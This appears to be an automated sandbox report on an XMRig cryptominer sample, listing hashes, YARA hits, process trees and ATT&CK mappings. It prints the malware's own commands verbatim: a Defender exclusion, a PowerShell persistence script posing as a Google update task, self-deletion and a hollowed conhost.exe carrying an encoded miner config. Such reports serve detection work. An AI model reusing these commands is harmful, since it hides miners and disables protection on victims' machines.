xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1792s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

UMRsPGc4u9tycx9r.exeupdater.exe

description	pid	process	target process
PID 2852 created 1164	2852	UMRsPGc4u9tycx9r.exe	Explorer.EXE
PID 2852 created 1164	2852	UMRsPGc4u9tycx9r.exe	Explorer.EXE
PID 2852 created 1164	2852	UMRsPGc4u9tycx9r.exe	Explorer.EXE
PID 2852 created 1164	2852	UMRsPGc4u9tycx9r.exe	Explorer.EXE
PID 2944 created 1164	2944	updater.exe	Explorer.EXE
PID 2944 created 1164	2944	updater.exe	Explorer.EXE
PID 2944 created 1164	2944	updater.exe	Explorer.EXE
PID 2944 created 1164	2944	updater.exe	Explorer.EXE
PID 2944 created 1164	2944	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral23/memory/1648-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/1648-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2528 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2944 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2896 taskeng.exe

pid	process
2528	cmd.exe

pid	process
2944	updater.exe

pid	process
2896	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral23/memory/1648-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/1648-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2944 set thread context of 1236	2944	updater.exe	conhost.exe
PID 2944 set thread context of 1648	2944	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

UMRsPGc4u9tycx9r.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	UMRsPGc4u9tycx9r.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2704 schtasks.exe
1600 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2224 WMIC.exe

pid	process
2704	schtasks.exe
1600	schtasks.exe

pid	process
2224	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20d794fa3251da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

UMRsPGc4u9tycx9r.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2852	UMRsPGc4u9tycx9r.exe
2852	UMRsPGc4u9tycx9r.exe
2304	powershell.exe
2852	UMRsPGc4u9tycx9r.exe
2852	UMRsPGc4u9tycx9r.exe
2244	powershell.exe
2852	UMRsPGc4u9tycx9r.exe
2852	UMRsPGc4u9tycx9r.exe
2852	UMRsPGc4u9tycx9r.exe
2852	UMRsPGc4u9tycx9r.exe
2532	powershell.exe
2944	updater.exe
2944	updater.exe
628	powershell.exe
2944	updater.exe
2944	updater.exe
2600	powershell.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
1236	conhost.exe
1236	conhost.exe
2944	updater.exe
2944	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2944	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2224	WMIC.exe
Token: SeSecurityPrivilege	2224	WMIC.exe
Token: SeTakeOwnershipPrivilege	2224	WMIC.exe
Token: SeLoadDriverPrivilege	2224	WMIC.exe
Token: SeSystemtimePrivilege	2224	WMIC.exe
Token: SeBackupPrivilege	2224	WMIC.exe
Token: SeRestorePrivilege	2224	WMIC.exe
Token: SeShutdownPrivilege	2224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2224	WMIC.exe
Token: SeUndockPrivilege	2224	WMIC.exe
Token: SeManageVolumePrivilege	2224	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2224	WMIC.exe
Token: SeSecurityPrivilege	2224	WMIC.exe
Token: SeTakeOwnershipPrivilege	2224	WMIC.exe
Token: SeLoadDriverPrivilege	2224	WMIC.exe
Token: SeSystemtimePrivilege	2224	WMIC.exe
Token: SeBackupPrivilege	2224	WMIC.exe
Token: SeRestorePrivilege	2224	WMIC.exe
Token: SeShutdownPrivilege	2224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2224	WMIC.exe
Token: SeUndockPrivilege	2224	WMIC.exe
Token: SeManageVolumePrivilege	2224	WMIC.exe
Token: SeLockMemoryPrivilege	1648	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2244 wrote to memory of 2704	2244	powershell.exe	schtasks.exe
PID 2244 wrote to memory of 2704	2244	powershell.exe	schtasks.exe
PID 2244 wrote to memory of 2704	2244	powershell.exe	schtasks.exe
PID 2528 wrote to memory of 828	2528	cmd.exe	choice.exe
PID 2528 wrote to memory of 828	2528	cmd.exe	choice.exe
PID 2528 wrote to memory of 828	2528	cmd.exe	choice.exe
PID 2532 wrote to memory of 1640	2532	powershell.exe	schtasks.exe
PID 2532 wrote to memory of 1640	2532	powershell.exe	schtasks.exe
PID 2532 wrote to memory of 1640	2532	powershell.exe	schtasks.exe
PID 2896 wrote to memory of 2944	2896	taskeng.exe	updater.exe
PID 2896 wrote to memory of 2944	2896	taskeng.exe	updater.exe
PID 2896 wrote to memory of 2944	2896	taskeng.exe	updater.exe
PID 2600 wrote to memory of 1600	2600	powershell.exe	schtasks.exe
PID 2600 wrote to memory of 1600	2600	powershell.exe	schtasks.exe
PID 2600 wrote to memory of 1600	2600	powershell.exe	schtasks.exe
PID 2944 wrote to memory of 1236	2944	updater.exe	conhost.exe
PID 1156 wrote to memory of 2224	1156	cmd.exe	WMIC.exe
PID 1156 wrote to memory of 2224	1156	cmd.exe	WMIC.exe
PID 1156 wrote to memory of 2224	1156	cmd.exe	WMIC.exe
PID 2944 wrote to memory of 1648	2944	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1164

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2244

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2704

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1600

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2224

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1236

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:828

C:\Windows\system32\taskeng.exe
taskeng.exe {34B0A874-65AF-4B5A-B440-CC6842B425E1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2896

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:2352

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
1.7MB

MD5
65fb29b951d19394ceab6a3412374145

SHA1
ca1cf2f009072dd022be9f3c76905f6f20f3c6eb

SHA256
ff27ab4e243e6b47b4ef1b2255f0e54b8762b2f81972c0406710beb2c1138508

SHA512
d994d3f5eeb4f7e1cfa4d3e85ca8fd25577556a7c231d54e04c522955e708b98e7f133ae5471a0b08d6a879c92f5f3a706f5e31b64f3e71b246708901a4fae24

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
83KB

MD5
879fc2c7514e321d7bf7a517d27a3fcd

SHA1
35dbc44fefd403a1c620f71a4dfbc4883be09506

SHA256
8b8d8c2cc470caec09091ef112e4855b51ada4c1412fee66cea38baea6ad1522

SHA512
94cfb94875ba2d8bbc6de5504c25de41925cb08042bc03222df0d0de9d78848c5f134ec76af955c9b354bd5333e15afce52f513687c79d58656df39469eabfcc

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\46XAJSFLG77PJLEA9D2V.temp
Filesize
7KB

MD5
bfb310e0c24b7c9fbb0ba0612197cfd3

SHA1
45d236d17bfa9135e2cf9a45f2c2ee35cba24911

SHA256
8e93c4e42de55ca5a1db64af7912bb548f42d529078b6abb0b897bb333beb719

SHA512
5ee0fd82162bb16dc416c477e52b55763fdbfe245b42447b31e8cc9ea6fcb9102a7fba2c8e84a7f733b93a28693866b6f4bd88d067c774c1b38938b4d0b9fbdb

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/628-51-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/628-48-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/628-50-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/628-49-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/628-47-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/628-46-0x0000000001360000-0x00000000013E0000-memory.dmp

Filesize
512KB

Download
memory/628-45-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/1236-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1236-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1648-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1648-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-76-0x0000000000270000-0x0000000000290000-memory.dmp

Filesize
128KB

Download
memory/1648-75-0x0000000000110000-0x0000000000130000-memory.dmp

Filesize
128KB

Download
memory/1648-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-70-0x0000000000270000-0x0000000000290000-memory.dmp

Filesize
128KB

Download
memory/1648-69-0x0000000000110000-0x0000000000130000-memory.dmp

Filesize
128KB

Download
memory/1648-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1648-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2244-19-0x000007FEF52D0000-0x000007FEF5C6D000-memory.dmp

Filesize
9.6MB

Download
memory/2244-25-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
